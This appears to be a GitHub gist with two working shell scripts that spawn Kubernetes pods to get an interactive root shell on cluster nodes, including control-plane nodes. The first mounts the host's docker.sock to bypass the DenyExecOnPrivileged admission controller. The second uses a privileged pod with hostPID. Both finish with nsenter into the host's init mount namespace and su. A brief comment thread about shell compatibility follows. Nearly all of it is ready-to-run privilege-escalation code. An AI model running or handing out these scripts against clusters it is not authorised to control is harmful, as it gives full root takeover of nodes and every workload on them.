Yeah. Get a root shell at any Kubernetes *node* via `privileged: true` + `nsenter` sauce. PodSecurityPolicy will save us. DenyExecOnPrivileged didn't (kubectl-root-in-host-nopriv.sh exploits it)

kubectl-root-in-host-nopriv.sh

#!/bin/sh
# Launch a Pod ab-using a hostPath mount to land on a Kubernetes node cluster as root
# without requiring `privileged: true`, in particular can abuse `DenyExecOnPrivileged`
# admission controller.
# Pod command in turn runs a privileged container using node's /var/run/docker.sock.
node=${1}
case "${node}" in
"")
    nodeSelector=''
    podName=${USER+${USER}-}docker-any
    ;;
--master)
    shift
    nodeSelector='"nodeSelector": { "node-role.kubernetes.io/controlplane": "true"},'
    podName=${USER+${USER}-}docker-master
    ;;
--worker)
    shift
    nodeSelector='"nodeSelector": { "node-role.kubernetes.io/worker": "true"},'
    podName=${USER+${USER}-}docker-worker
    ;;
*)
    shift
    nodeName=$(kubectl get node ${node} ${@} -o template --template='{{index .metadata.labels "kubernetes.io/hostname"}}') || exit 1
    nodeSelector='"nodeSelector": { "kubernetes.io/hostname": "'${nodeName:?}'" },'
    podName=${USER+${USER}-}docker-${node}
    ;;
esac
set -x
kubectl run ${podName:?} --restart=Never -it \
    --image overriden --overrides '
{
  "spec": {
    '"${nodeSelector?}"'
    "tolerations": [
      { "effect": "NoSchedule", "operator": "Exists" },
      { "effect": "NoExecute", "operator": "Exists" }
    ],
    "containers": [
      {
        "name": "docker",
        "image": "docker:latest",
        "command": [
          "docker", "run", "-it",
          "--privileged", "--pid=host", "--net=host", "docker",
            "sh", "-c",
            "nsenter --mount=/proc/1/ns/mnt -- su -"
        ],
        "stdin": true,
        "tty": true,
        "resources": {"requests": {"cpu": "10m"}},
        "volumeMounts": [
          {"name": "run", "mountPath": "/var/run"}
        ]
      }
    ],
    "volumes": [
     {"name": "run", "hostPath": {"path": "/var/run"}}
    ]
  }
}' --rm --attach "$@"

kubectl-root-in-host.sh

#!/bin/sh
# Launch a Pod ab-using a privileged=true to land on a Kubernetes node cluster as root,
# uses `privileged: true` to then nsenter init mount its (root) namespace,
# hostPID and hostNetwork already set for the Pod.
node=${1}
case "${node}" in
"")
    nodeSelector=''
    podName=${USER+${USER}-}sudo-any
    ;;
--master)
    shift
    nodeSelector='"nodeSelector": { "node-role.kubernetes.io/controlplane": "true"},'
    podName=${USER+${USER}-}sudo-master
    ;;
--worker)
    shift
    nodeSelector='"nodeSelector": { "node-role.kubernetes.io/worker": "true"},'
    podName=${USER+${USER}-}sudo-worker
    ;;
*)
    shift
    nodeName=$(kubectl get node ${node} ${@} -o template --template='{{index .metadata.labels "kubernetes.io/hostname"}}') || exit 1
    nodeSelector='"nodeSelector": { "kubernetes.io/hostname": "'${nodeName:?}'" },'
    podName=${USER+${USER}-}sudo-${node}
    ;;
esac
set -x
kubectl run ${podName:?} --restart=Never -it \
    --image overriden --overrides '
{
  "spec": {
    "hostPID": true,
    "hostNetwork": true,
    '"${nodeSelector?}"'
    "tolerations": [
      { "effect": "NoSchedule", "operator": "Exists" },
      { "effect": "NoExecute", "operator": "Exists" }
    ],
    "containers": [
      {
        "name": "alpine",
        "image": "alpine:3.7",
        "command": [
          "nsenter", "--mount=/proc/1/ns/mnt", "--", "su", "-"
        ],
        "stdin": true,
        "tty": true,
        "resources": {"requests": {"cpu": "10m"}},
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}' --rm --attach "$@"

/bin/bash will only work in debian-based hosts..

/bin/bash will only work in debian-based hosts..

Thanks for the feedback, replaced by su -